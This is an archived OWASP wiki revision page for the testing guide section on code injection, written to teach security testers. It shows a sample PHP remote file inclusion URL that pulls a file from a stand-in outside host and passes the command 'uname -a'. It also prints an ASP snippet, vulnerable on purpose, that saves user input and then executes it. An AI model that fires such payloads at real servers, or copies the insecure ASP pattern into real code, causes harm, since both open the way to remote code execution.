This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Testing for Code Injection (OTG-INPVAL-012)"
(→Brief Summary) |
(→Brief Summary) |
||
Line 5: | Line 5: | ||
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection|here]]. | This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection|here]]. | ||
+ | [[Category:FIXME|I would like to delete the last sentence, and replace it with a sentence describing Code Injection, with the words Code Injection linked]] | ||
== Description of the Issue == | == Description of the Issue == |
Revision as of 21:17, 30 August 2008
[Up]
OWASP Testing Guide v2 Table of Contents
Brief Summary
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found here.
Description of the Issue
In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
Black Box testing and example
Testing for PHP Injection vulnerabilities:
Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
Result Expected:
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.
Gray Box testing and example
Testing for ASP Code Injection vulnerabilities
Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:
<% If not isEmpty(Request( "Data" ) ) Then Dim fso, f 'User input Data is written to a file named data.txt Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) f.Write Request("Data") & vbCrLf f.close Set f = nothing Set fso = Nothing
'Data.txt is executed Server.Execute( "data.txt" )
Else %> <form> <input name="Data" /><input type="submit" name="Enter Data" /> </form> <% End If %>)))
References
- Security Focus - http://www.securityfocus.com
- Insecure.org - http://www.insecure.org
- Wikipedia - http://www.wikipedia.org
- OWASP Code Review - http://www.owasp.org/index.php/OS_Injection
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents